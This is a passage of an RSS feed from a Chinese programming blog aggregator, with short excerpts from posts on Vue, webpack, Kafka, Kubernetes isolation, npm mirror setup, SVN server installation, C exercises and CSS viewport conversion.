Interface，翻译为命令行界面，俗称脚手架。VueCLI是一个官方发布vue.js项目脚手架。使用VueCLI可以快速搭建vue开发环境以及对应的webpack配置。 4、脚手架长什么样？ 5、脚手架依赖于node.js和webpack 二、安装Vue CLI脚手架 //默认安装脚手架3 npm install -g @vue/cli //安装脚手架2 npm install -g @vue/cli-init //脚手架2创建项目 vue init webpack my-project //脚手架3创建项目 vue create my-project 三、runtime-compiler和runtime-only的区别 1、runtime-compiler加载过程 template -&amp;gt; ast -&amp;gt; render -&amp;gt; vdom -&amp;gt; UI</description>
    </item>
    <item>
      <title>Vue基础知识总结 11：前端路由vue-router</title>
      <link>https://bchobby.github.io/posts/e814b9556318a5f17d0ab3b1205619cd/</link>
      <pubDate>Sun, 26 Mar 2023 00:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e814b9556318a5f17d0ab3b1205619cd/</guid>
      <description>🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;目录 ​一、前端路由vue-router&#xA;1、维基百科&#xA;2、路由的机制&#xA;3、后端渲染&#xA;4、后端路由阶段&#xA;​5、前后端分离&#xA;6、单页面富应用阶段&#xA;7、SPA页面&#xA;8、前端路由&#xA;二、改变URL，但是页面不进行整体的刷新&#xA;​1、URL的hash&#xA;2、HTML5的history 三、安装和使用vue-router&#xA;1、安装vue-router&#xA;2、在模块化工程中使用它（因为它是一个插件，所以可以通过Vue.use()来安装路由功能）&#xA;3、使用vue-router的步骤&#xA;4、router-link与router-view&#xA;5、vue-router代码实例&#xA;四、router-link的其它属性补充&#xA;五、vue-router动态路由的使用&#xA;六、vue-router打包文件的解析&#xA;七、路由懒加载&#xA;1、什么是懒加载&#xA;2、懒加载的方式&#xA;3、代码实例&#xA;八、路由嵌套&#xA;1、嵌套路由是一个很常见的功能&#xA;2、实现嵌套路由的两个步骤&#xA;3、嵌套路由代码实例&#xA;九、vue-router参数传递&#xA;1、传递参数主要有两种类型: params和query&#xA;2、代码实例&#xA;十、vue-router全局导航守卫&#xA;1、生命周期函数&#xA;2、前置守卫&#xA;十一、keep-alive与vue-router&#xA;​一、前端路由vue-router 1、维基百科 路由就是通过互联的网络把信息从源地址传输到目的地址的活动。&#xA;2、路由的机制 路由包括路由和转发。&#xA;路由器 -&amp;gt; 公网IP -&amp;gt; 映射表 -&amp;gt; 内网IP&#xA;映射表：[内网ip1:电脑标识1，内网ip2:电脑标识2]&#xA;3、后端渲染 JSP：java server page&#xA;后端渲染 == html + css + java&#xA;java代码的作用是从数据库中读取数据，然后将他们动态的放在页面中。</description>
    </item>
    <item>
      <title>Vue基础知识总结 9：vue webpack打包原理</title>
      <link>https://bchobby.github.io/posts/4341c758b29137f1611150ed65caf751/</link>
      <pubDate>Sun, 26 Mar 2023 00:29:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4341c758b29137f1611150ed65caf751/</guid>
      <description>🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;目录&#xA;一、前端模块化&#xA;二、打包&#xA;三、安装webpack&#xA;1、安装node.js&#xA;2、安装webpack&#xA;四、webpack打包js&#xA;1、普通打包方式&#xA;2、webpack.config.js配置和package.json配置&#xA;3、理解开发时依赖和运行时依赖&#xA;五、loader&#xA;1、loader简介&#xA;2、使用 loader&#xA;3、配置[Configuration]允许你在 webpack 配置中指定多个 loader&#xA;六、less与url-loader&#xA;1、安装less&#xA;2、less示例&#xA;4、url-loader用法&#xA;5、file-loader&#xA;七、加载图片代码实例&#xA;1、项目目录&#xA;2、index.html&#xA;3、main.js&#xA;4、info.js&#xA;5、mathUtils.js&#xA;6、normal.css&#xA;7、special.less&#xA;八、ES6语法处理&#xA;1、安装babel-loader&#xA;2、在 webpack 配置对象中，需要添加 babel-loader 到 module 的 loaders 列表中，&#xA;九、webpack使用vue的配置过程&#xA;1、安装vue的三种方式&#xA;2、npm安装vue&#xA;十、el和template区别&#xA;1、正常运行之后，我们要考虑一个问题&#xA;2、解决方法 --&amp;gt; 定义template属性&#xA;十一、认识plugin&#xA;1、plugin是什么？&#xA;2、loader和plugin的区别？&#xA;3、plugin的使用过程&#xA;4、代码实例&#xA;5、htmlWebpackPlugin&#xA;6、第三方插件uglifyjs-webpack-plugin&#xA;7、webpack-dev-server搭建本地服务器&#xA;一、前端模块化 webpack是让我们可以进行模块化开发，并且会帮助我们处理模块间的依赖关系。&#xA;并且不仅仅是JavaScript文件，还有CSS、图片、json文件等等，在webpack中都可以被当做模块来使用。&#xA;二、打包 webpack中的各种资源模块进行打包合并成一个或多个包（Bundle）。</description>
    </item>
    <item>
      <title>微信小程序是什么？如何快速搭建一个微信小程序？</title>
      <link>https://bchobby.github.io/posts/aca6d217d142461ed88711eb9ee873a9/</link>
      <pubDate>Sun, 26 Mar 2023 00:21:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aca6d217d142461ed88711eb9ee873a9/</guid>
      <description>目录 专栏导读一、微信小程序是什么二、安全管理三、微信小程序的功能四、快速开发一个微信小程序APP1、集成即构实时音视频SDK2、初始化SDK引擎3、创建房间与登录房间4、房主创建房间5、推流与拉流6、拉流预览7、播放实时画面统一封装8、其他工作 五、观众如何得知房主的视频流ID ？1、如何获取房主ID？直播间的商品信息？直播间的名称信息？2、源码分享 专栏导读 🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹篇，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。 🏆全部订阅后，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;🏆面试福音：10万字208道Java经典面试题总结(附答案)。&#xA;大家好，我是哪吒。&#xA;一、微信小程序是什么 微信小程序是一种不用下载就能使用的应用，也是一项创新，经过将近两年的发展，已经构造了新的微信小程序开发环境和开发者生态。微信小程序也是这么多年来中国IT行业里一个真正能够影响到普通程序员的创新成果，已经有超过150万的开发者加入到了微信小程序的开发，与我们一起共同发力推动微信小程序的发展，微信小程序应用数量超过了一百万，覆盖200多个细分的行业，日活用户达到两个亿，微信小程序还在许多城市实现了支持地铁、公交服务。微信小程序发展带来更多的就业机会，2017年小程序带动就业104万人，社会效应不断提升。&#xA;二、安全管理 微信小程序在产品功能设计上给用户更多控制力。在微信小程序的设置页,为用户提供了数据权限开关,一旦用户授权之后又关闭,微信小程序再次使用该用户数据时需要重新获得授权,为用户提供更方便的数据控制权。用户在微信小程序的资料页还可以看到隐私数据保护的提示以及投诉入口。&#xA;微信小程序在收集、获取用户数据上,微信小程序坚持“必要+合理”原则。必要是指只有在微信小程序的具体业务中,确实有场景需要获取用户数据的情况下,开发者才能去获取用户的同意授权；合理是指开发者获取数据的范围不应该超出具体场景所需要的数据范围。例如一个提供外卖服务的微信小程序,可能需要获得电话、地址等数据,但没有必要获取性别、年龄等数据,否则平台会认为微信小程序收集用户数据的行为违反了“必要并且合理”的原则,会对这类微信小程序进行处理。&#xA;三、微信小程序的功能 微信小程序是一种不需要下载安装即可使用的应用，它实现了应用“触手可及”的梦想，用户扫一扫或者搜一下即可打开应用。也体现了“用完即走”的理念，用户不用关心是否安装太多应用的问题。应用将无处不在，随时可用，但又无需安装卸载。对于开发者而言，微信小程序开发门槛相对较低，难度不及APP，能够满足简单的基础应用，适合生活服务类线下商铺以及非刚需低频应用的转换。微信小程序能够实现消息通知、线下扫码、公众号关联等七大功能。其中，通过公众号关联，用户可以实现公众号与微信小程序之间相互跳转。由于微信小程序不存在入口。&#xA;四、快速开发一个微信小程序APP 今天以Android版本为例快速实现一个小程序开发APP，一起深入理解整个小程序开发开发流程。我们最终实现效果如下：&#xA;按照惯例，为了快速实现，我们继续基于即构实时通话SDK进行开发。在正式开发之前，我们先理一下小程序开发开发流程。&#xA;初始化即构SDK，房主创建房间ID，并进入房间。 观众根据房间ID进入房间房主推实时视频流，观众拉实时视频流 1、集成即构实时音视频SDK SDK集成方式请直接参考官方文档https://doc-zh.zego.im/article/195, 这里不过多描述。&#xA;2、初始化SDK引擎 这里我们把所有调用即构SDK的API封装到Zego类中，并使用单例模式调用。其中初始化SDK引擎工作放入到构造函数中：&#xA;private Zego(Application app) { ZegoEngineProfile profile = new ZegoEngineProfile(); profile.appID = KeyCenter.APPID; profile.scenario = ZegoScenario.GENERAL; // 通用场景接入 profile.application = app; mEngine = ZegoExpressEngine.createEngine(profile, null); } 3、创建房间与登录房间 登录画面如下：&#xA;4、房主创建房间 （1）验证房间ID的有效性&#xA;在创建房间之前，需要房主提供房间号，当然了，这一步可以由后台自动生成。作为一个Demo，我们暂时让房主自己设置。为了避免房间号冲突，我们需要先验证当前房间号是否已存在，如果有个人服务器自然很轻松判断。如果没有个人服务器，可以调用即构提供的服务器端API接口查询当前房间的人数。&#xA;简单来说，使用服务器端API就是访问一个http址，返回对应的JSON参数。&#xA;（2）使用ID创建房间并登录&#xA;我们将登录房间函数封装到Zego类里面。登录房间代码如下。&#xA;注意，无须显式创建房间，如果指定的房间ID不存在，则会自动创建。&#xA;public boolean loginRoom(String userId, String userName, String roomId, String token) { ZegoUser user = new ZegoUser(userId, userName); ZegoRoomConfig config = new ZegoRoomConfig(); config.</description>
    </item>
    <item>
      <title>Java学习路线总结（思维导图篇）</title>
      <link>https://bchobby.github.io/posts/2b4f658cec3f721963d4a0861275d995/</link>
      <pubDate>Sat, 25 Mar 2023 21:44:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b4f658cec3f721963d4a0861275d995/</guid>
      <description> 🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪&#xA;，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;最近也有很多好友在群里问我，Java知识体系庞大，按照什么顺序学习才是最高效的呢？&#xA;之前出过一期Java学习路线总结❤️搬砖工逆袭Java架构师❤️（全网最强，建议收藏）&#xA;反响很好，很多好友问我，有没有思维导图啊，自学起来没有头绪，丈二和尚摸不着头脑。&#xA;本期内容是Java学习路线总结（思维导图版）&#xA;目录&#xA;一、JavaSE&#xA;二、JavaWeb&#xA;三、数据库&#xA;四、Spring + SpringMVC + MyBatis&#xA;五、Spring Boot&#xA;六、数据结构与算法&#xA;七、JVM&#xA;八、Linux&#xA;九、SpringCloud&#xA;十、中间件&#xA;十一、计算机网络&#xA;十二、Vue&#xA;一、JavaSE 二、JavaWeb 三、数据库 四、Spring + SpringMVC + MyBatis 五、Spring Boot 六、数据结构与算法 七、JVM 八、Linux 九、SpringCloud 十、中间件 十一、计算机网络 十二、Vue 🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪&#xA;，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;下一篇：【Java基础知识 1】Java入门级概述 </description>
    </item>
    <item>
      <title>k8s是如何实现资源隔离的</title>
      <link>https://bchobby.github.io/posts/5aa25befc56ef3dccde674fb5c1e80de/</link>
      <pubDate>Sat, 25 Mar 2023 21:12:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aa25befc56ef3dccde674fb5c1e80de/</guid>
      <description>我们知道虚拟机使用的是 Hypervisor（KVM、Xen 等），那么，容器是怎么实现和下层计算机硬件和操作系统交互的呢？为什么它会具有高效轻便的隔离特性呢？&#xA;其实奥秘就在于 Linux 操作系统内核之中，为资源隔离提供了三种技术：namespace、cgroup、chroot，虽然这三种技术的初衷并不是为了实现容器，但它们三个结合在一起就会发生奇妙的“化学反应”。&#xA;namespace 是 2002 年从 Linux 2.4.19 开始出现的，和编程语言里的 namespace 有点类似，它可以创建出独立的文件系统、主机名、进程号、网络等资源空间，相当于给进程盖了一间小板房，这样就实现了系统全局资源和进程局部资源的隔离。&#xA;cgroup 是 2008 年从 Linux 2.6.24 开始出现的，它的全称是 Linux Control Group，用来实现对进程的 CPU、内存等资源的优先级和配额限制，相当于给进程的小板房加了一个天花板。&#xA;chroot 的历史则要比前面的 namespace、cgroup 要古老得多，早在 1979 年的 UNIX V7 就已经出现了，它可以更改进程的根目录，也就是限制访问文件系统，相当于给进程的小板房铺上了地砖。</description>
    </item>
    <item>
      <title>为什么要用kafka（新手向，含业务场景）</title>
      <link>https://bchobby.github.io/posts/cebdef3f8f0f4354dee138acdddb8638/</link>
      <pubDate>Sat, 25 Mar 2023 19:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cebdef3f8f0f4354dee138acdddb8638/</guid>
      <description>前两天和一个哥们讨论了一下kafka的性能问题，感觉现在要想干实时项目，还得把kafka捡起来好好学一遍，今天就简单来说一说自己对于kafka的一点了解，也是让自己再重新复习一遍，希望能对各位有所帮助&#xA;kafka在业务场景中最重要的功能其实主要就是两个方面：削峰和异步通讯，当然什么解耦呀，减少冗余啊，业务代码的健壮性啊，也是有的，可是生产环境中，主要看的还是削峰和异步通讯这两个方面的功能&#xA;一、削峰 先来说一说削峰，削峰的应用场景主要是上游数据某些时候有突发大流量数据，比如电商系统的双十一双十二这种情况，这个时候下游可能扛不住，或者下游没有足够多的机器来保证冗余，这个时候，kafka就可以在中间起到一个缓冲的作用，它可以把消息暂存在kafka中，下游服务就可以按照自己订单节奏进行慢慢处理，这就是所谓的消息中间件，顾名思义嘛&#xA;二、异步 说到异步通讯，这里举个简单例子，很多时候，用户不想也不需要立刻处理消息，消息队列就提供了异步处理机制，允许用户把一个消息放入队列，但是并不立即处理，等啥时候需要了再去处理这些消息，这样可以极大程度的缓解性能问题，放到电商的具体下单业务场景中，就是用户从下单到付款这个过程，中间可能会有满减优惠，抵用券折扣，积分累计，金币抵用等等等好多个系统，但是一个请求每经过一个系统都会花费一定的时间（即延长了整个流程的时长），但是实际上用户等不了所有流程都结束才能完成订单，为了加快订单完成的时间，所以可以直接跳过那些流程，直接完成订单，但是直接完成订单并不是就不管那些流程到底完不完成，那些流程也会同时处理，只是相当于多线程完成一样&#xA;三、补充 其实在kafka异步通讯过程中，很有可能会出现数据一致性的问题，这个其实是分布式服务本身就存在的一个问题，实际场景中所有的系统流程都成功才能算这一次下单是成功的，所以很多时候需要用到分布式事务，其实就是把下单，优惠券，积分累计，都放在一个事务里面一样，要成功一起成功，要失败一起失败&#xA;以上就是工作场景中为啥要用kafka了</description>
    </item>
    <item>
      <title>node 安装 ，淘宝镜像配置，webpack 安装</title>
      <link>https://bchobby.github.io/posts/35b68bd29abb0a0354fd691b7c72fe3e/</link>
      <pubDate>Sat, 25 Mar 2023 19:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35b68bd29abb0a0354fd691b7c72fe3e/</guid>
      <description>node 安装&#xA;1. 下载&#xA;下载 | Node.js 中文网&#xA;2.选择和安装&#xA;根据自己的操作系统选择下载安装，安装只需要下一步，下一步就可以了；（注意电脑使用习惯，尽量别安装到C盘，选择一个自己的盘符安装各种软件和环境）&#xA;3.安装完毕，查看版本和切换淘宝镜像&#xA;(1) 按 win+r = 输入cmd =出现命令行界面 =输入 node -v =出现 v14.0.0 (这里是你安装的版本) 这里的操作证明你node 安装成功了&#xA;（2）查看自己安使用的镜像地址并切换淘宝镜像 npm config get registry&#xA;https://registry.npmjs.org/ 这是国外镜像地址，有时候会比较慢，所以要切换为“淘宝”镜像&#xA;输入= npm config set registry https://registry.npm.taobao.org&#xA;输入=npm config get registry 查看切换成功了没有；&#xA;（4）全局安装 webpack 在DOS命令窗口中输入npm install webpack@3.6.0 -g 安装webpack，其中的-g代表webpack的全局安装方式，那么我们可以在电脑上任意一个终端上面执行webpack指令,稍等一下，别去关闭窗口，之后出现让你可以输入的命令行说明你就安装完成了，&#xA;验证是否安装成功： webpack -version 如下图&#xA;（5）局部安装webpack&#xA;上面是全局安装webpack，你可能会想既然已经全局安装了webpack，那为什么还要局部安装呢，这是因为我们需要的项目可能是从网上下载下来的，项目中使用的webpack和我们本地的webpack可能版本不同，这就需要在局部安装webpack了，不过在此之前需要先生成package.json文件，这需要使用npm init命令，当然在此之前你肯定已经做好了全部的准备，我这里用到的工具是webstrom，在webstrom中的Terminal终端中输入npm install webpack@3.6.0 --save-dev就可以了，其中--save-dev的作用就是在开发时依赖，在项目打包后不会在继续使用的&#xA;(6) 使用vue 命令创进行脚手架&#xA;解决办法： （1）查看node 安装目录 是否有“vue ” 相关命令 如果没有安装执行下面命令</description>
    </item>
    <item>
      <title>c语言计算器</title>
      <link>https://bchobby.github.io/posts/6e43eb65edd4107aa63c1925bb3d8f70/</link>
      <pubDate>Sat, 25 Mar 2023 16:36:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e43eb65edd4107aa63c1925bb3d8f70/</guid>
      <description>模拟简单运算器的工作，可以支持带括号的数学表达式计算，遵循数学运算的优先级规则：&#xA;先计算括号内的运算；&#xA;其次计算乘除法；&#xA;最后计算加减法。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; int calc(int num1, int num2, char op) { switch(op) { case &#39;+&#39;: return num1 + num2; case &#39;-&#39;: return num1 - num2; case &#39;*&#39;: return num1 * num2; case &#39;/&#39;: return num1 / num2; default: return 0; } } int main() { int num1 = 0, num2 = 0, result = 0; char op = 0; char c = getchar(); // 先读取一个数字 if(c &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; c &amp;lt;= &#39;9&#39;) { num1 = c - &#39;0&#39;; } else { printf(&#34;</description>
    </item>
    <item>
      <title>webpack4打包实战</title>
      <link>https://bchobby.github.io/posts/6b723a6d451e451a3479c8f3d06d9f3a/</link>
      <pubDate>Sat, 25 Mar 2023 16:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b723a6d451e451a3479c8f3d06d9f3a/</guid>
      <description>一、模块化打包工具的由来 ES Module存在环境兼容问题，通过模块化方式划分的模块较多，网络请求频繁，在前端应用开发中不仅仅需要JavaScript代码需要模块化，随着应用的日益复杂，html，css同样也面临相同的问题，也就是说，所有的前端资源都需要模块化。&#xA;所需要的工具需要满足的条件：&#xA;新特性代码编译模块化JavaScript打包支持不同文件类型的资源模块 打包工具：解决前端整体的模块化，并不单指JavaScript模块化&#xA;二、模块打包工具概要 核心：&#xA;模块打包器（Module bundler）模块加载器（loader）代码拆分（code splitting）资源模块（asset module） 打包工具解决的是前端整体的模块化，并不单指javascript模块化&#xA;三、webpack 快速上手 具体过程如下&#xA;创建package.json,执行命令：yarn init --yes安装webpack:yarn add webpack webpack-cli --dev查看webpack版本：yarn webpack --version 或 npx webpack -v打包：执行yarn webpack,此时会生成一个dis文件夹，文件中有main.js修改html的js引入路径，并去掉type=module也可以在script中定义： &#34;scripts&#34;: { ​ &#34;build&#34;:&#34;webpack&#34; }, //后期只使用：yarn build即可 // heading.js export default () =&amp;gt; { const element = document.createElement(&#39;h2&#39;) element.textContent = &#39;Hello World!&#39; element.addEventListener(&#39;click&#39;,()=&amp;gt;{ alert(&#39;hello webpack&#39;) }) return element } //index.js import createHeading from &#39;./heading.js&#39; const heading = createHeading() document.body.append(heading) &amp;lt;!</description>
    </item>
    <item>
      <title>vue3-父子组件间通信</title>
      <link>https://bchobby.github.io/posts/c476a93994d9b4ce84eadde1ee5b8c45/</link>
      <pubDate>Sat, 25 Mar 2023 13:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c476a93994d9b4ce84eadde1ee5b8c45/</guid>
      <description>文章目录 方案一：props/emitsprops：父组件-&amp;gt;子组件emits：子组件-&amp;gt;父组件 方案二：v-model/ emits方案三：ref/emits应用场景 在实际业务开发的过程中，我们时常会遇到组件间的通信问题，比如：父子组件间通信、同级组件间通信等。本篇文章中主要介绍父子组件间通信。父子组件间通信主要有以下常见形式：&#xA;方案父组件向子组件子组件向父组件props/emitspropsemitsv-model/emitsv-modelemitsref/emitsrefemits 不再说明！！！父组件-&amp;gt;Parent.vue；子组件-&amp;gt;Children.vue，并且代码主要展示template和script部分&#xA;方案一：props/emits props/emits是最常用的形式，也是最基础的方案。其主要过程是：&#xA;1、父组件-&amp;gt;子组件：子组件先定义props对象并渲染到标签里，然后在父组件中调用子组件，通过属性的方式“: 变量名= ”绑定在标签上。&#xA;2、子组件-&amp;gt;父组件：父组件先声明数据变量和更新函数然后通过“@函数名= ”绑定事件，然后子组件通过emits向父组件发送更新信号，一般伴随着数据变量。&#xA;props：父组件-&amp;gt;子组件 首先要在子组件Children.vue定义props对象并且使用。我们先来看一下下面的代码：&#xA;// Children.vue &amp;lt;script&amp;gt; export default defineComponent({ // props: [&#39;title&#39;, &#39;index&#39;, &#39;userName&#39;, &#39;uid&#39;] props: { // 可选，并提供默认值 title: { type: String, required: false, default: &#39;默认标题&#39;, }, // 默认可选，单类型 index: Number, // 添加一些自定义校验 userName: { type: String, // 在这里校验用户名必须至少 3 个字 validator: (v) =&amp;gt; v.length &amp;gt;= 3, }, // 默认可选，但允许多种类型 uid: [Number, String], }, // 在这里需要添加一个入参 setup(props) { // 该入参包含了当前组件定义的所有 props console.</description>
    </item>
    <item>
      <title>如何将img转换成vmdk</title>
      <link>https://bchobby.github.io/posts/0a902f9f0fc40ed1e325f0c52a19831f/</link>
      <pubDate>Sat, 25 Mar 2023 00:40:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a902f9f0fc40ed1e325f0c52a19831f/</guid>
      <description>使用StarWind V2V Converter这款软件可以方便的将img格式转换成vmdk格式&#xA;StarWind V2V Converter 使用步骤如下&#xA;1.打开StarWind V2V Converter软件&#xA;选择“是” 2.选择本地文件选项 选择“local file” 3.点击下一步&#xA;选择“next” 4.选择需要转换的文件&#xA;选择需要转换的文件 5.点击下一步&#xA;选择“next” 6.选择本地文件&#xA;选择“local file” 7.点击下一步&#xA;选择“next” 8.选择vmdk并点击下一步&#xA;选择“vmdk”并点击“next” 9.选择“VMware Workstation growable image”并点击下一步&#xA;选择“VMware Workstation growable image”并点击“next” 10.选择文件路径并点击转换&#xA;选择路径并点击“Convert” 11.完成转换点击结束&#xA;点击“finish” ⚠️注意：在中文路径下转换可能会出错，建议选择英文路径。</description>
    </item>
    <item>
      <title>PTA作业</title>
      <link>https://bchobby.github.io/posts/cf9127b92ed73131eca308a8c7e83b7c/</link>
      <pubDate>Fri, 24 Mar 2023 21:37:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf9127b92ed73131eca308a8c7e83b7c/</guid>
      <description>目录&#xA;9-1 求最大值及其下标&#xA;9-2 选择法排序&#xA;9-3 将数组中的数逆序存放&#xA;9-4 找出不是两个数组共有的元素&#xA;9-5 求一批整数中出现最多的个位数字 9-1 求最大值及其下标 本题要求编写程序，找出给定的n个数中的最大值及其对应的最小下标（下标从0开始）。&#xA;输入格式:&#xA;输入在第一行中给出一个正整数n（1&amp;lt;n≤10）。第二行输入n个整数，用空格分开。&#xA;输出格式:&#xA;在一行中输出最大值及最大值的最小下标，中间用一个空格分开。&#xA;输入样例:&#xA;6 2 8 10 1 9 10 输出样例: 10 2 #include &amp;lt;stdio.h&amp;gt; main() { int n,i,j; scanf(&#34;%d&#34;,&amp;amp;n); int a[11]; for(i=0;i&amp;lt;n;i++) scanf(&#34;%d&#34;,&amp;amp;a[i]); for(j=0;j&amp;lt;n;j++) { if(a[0]&amp;lt;a[j]) { a[0]=a[j]; i=j; } else if(a[0]==a[j]) { a[0]=a[j]; if(i&amp;gt;j) { i=j; } } } printf(&#34;%d %d&#34;,a[0],i); } 9-2 选择法排序 本题要求将给定的n个整数从大到小排序后输出。&#xA;输入格式： 输入第一行给出一个不超过10的正整数n。第二行给出n个整数，其间以空格分隔。&#xA;输出格式： 在一行中输出从大到小有序的数列，相邻数字间有一个空格，行末不得有多余空格。&#xA;#include &amp;lt;stdio.h&amp;gt; void SelectSort( int nums[10], int n ); int main(){ int n, i; scanf(&#34;</description>
    </item>
    <item>
      <title>在 Linux 上搭建 VisualSVN Server（svn 服务端）</title>
      <link>https://bchobby.github.io/posts/f37978172895a2878420b4d56c5ee726/</link>
      <pubDate>Fri, 24 Mar 2023 21:34:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f37978172895a2878420b4d56c5ee726/</guid>
      <description>1、检查是否安装了低版本的 SVN # rpm -qa | grep subversion 如果已安装 SVN，则会返回版本信息。这时需要卸载旧版本的 SVN。&#xA;# 卸载旧版本 SVN # yum remove subversion 2、安装 SVN visualsvn web site 点击直达&#xA;# yum install subversion 3、检查安装是否成功 # svnserve --version 4、代码库创建 # mkdir -p /opt/svn/repositories # svnadmin create /opt/svn/repositories 执行上面的命令后，自动建立 repositories 库，查看 /opt/svn/repositories（路径和库名可以根据自己的需要修改） 文件夹发现包含了 conf,db,format,hooks,locks, README.txt 等文件，说明一个 SVN 库建立完成。&#xA;5、配置代码库 进入上面生成的文件夹 conf 下，进行配置&#xA;# cd /opt/svn/repositories/conf 5.1 用户密码 passwd 配置 # vi passwd 5.2 权限控制 authz 配置 # vi authz 目的是设置哪些用户可以访问哪些目录，authz 文件的内容如下：</description>
    </item>
    <item>
      <title>前端页面适配之postcss-px-to-viewport</title>
      <link>https://bchobby.github.io/posts/b137dfdf90e557d21e61220370e49b0b/</link>
      <pubDate>Fri, 24 Mar 2023 19:23:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b137dfdf90e557d21e61220370e49b0b/</guid>
      <description>一：简介 postcss-px-to-viewport 是一个 PostCSS 插件，用于将 CSS 中的 px 单位转换为 vw 或 vh 单位。它可以帮助我们实现在不同屏幕尺寸下的自适应布局，以提高页面的响应性和可用性。&#xA;二：postcss-px-to-viewport原理 遍历 CSS 文件中的所有样式规则，找到其中所有的 px 单位值。将每个 px 值根据设备屏幕的宽度和高度转换为对应的 vw 或 vh 值。例如，如果设备屏幕的宽度为 750px，样式表中有一个宽度为 100px 的元素，那么插件将把它转换为 13.33vw（100/750*100）的值。生成转换后的 CSS 文件。 三：实现步骤 1.安装 postcss-px-viewport 插件及其依赖：&#xA;npm install postcss-px-viewport postcss-viewport-units postcss-preset-env -D 其中，postcss-px-viewport 是主要的插件，postcss-viewport-units 和 postcss-preset-env 是其依赖，用于支持更多的 CSS 新特性和语法转换。&#xA;2.在项目根目录下创建 postcss.config.js 文件，配置 postcss-px-viewport 插件：&#xA;module.exports = { plugins: { &#39;postcss-px-to-viewport&#39;: { unitToConvert: &#39;px&#39;, // 需要转换的单位，默认为&#34;px&#34; viewportWidth: 320, // 设计稿的视口宽度 unitPrecision: 5, // 单位转换后保留的精度 propList: [&#39;*&#39;], // 能转化为vw的属性列表 viewportUnit: &#39;vw&#39;, // 希望使用的视口单位 fontViewportUnit: &#39;vw&#39;, // 字体使用的视口单位 selectorBlackList: [], // 需要忽略的CSS选择器 minPixelValue: 1, // 最小的转换数值，如果为1的话，只有大于1的值会被转换 mediaQuery: false, // 媒体查询里的单位是否需要转换单位 replace: true, // 是否直接更换属性值，而不添加备用属性 exclude: [], // 忽略某些文件夹下的文件或特定文件 include: undefined, // 如果设置了include，那将只有匹配到的文件才会被转换，例如只转换 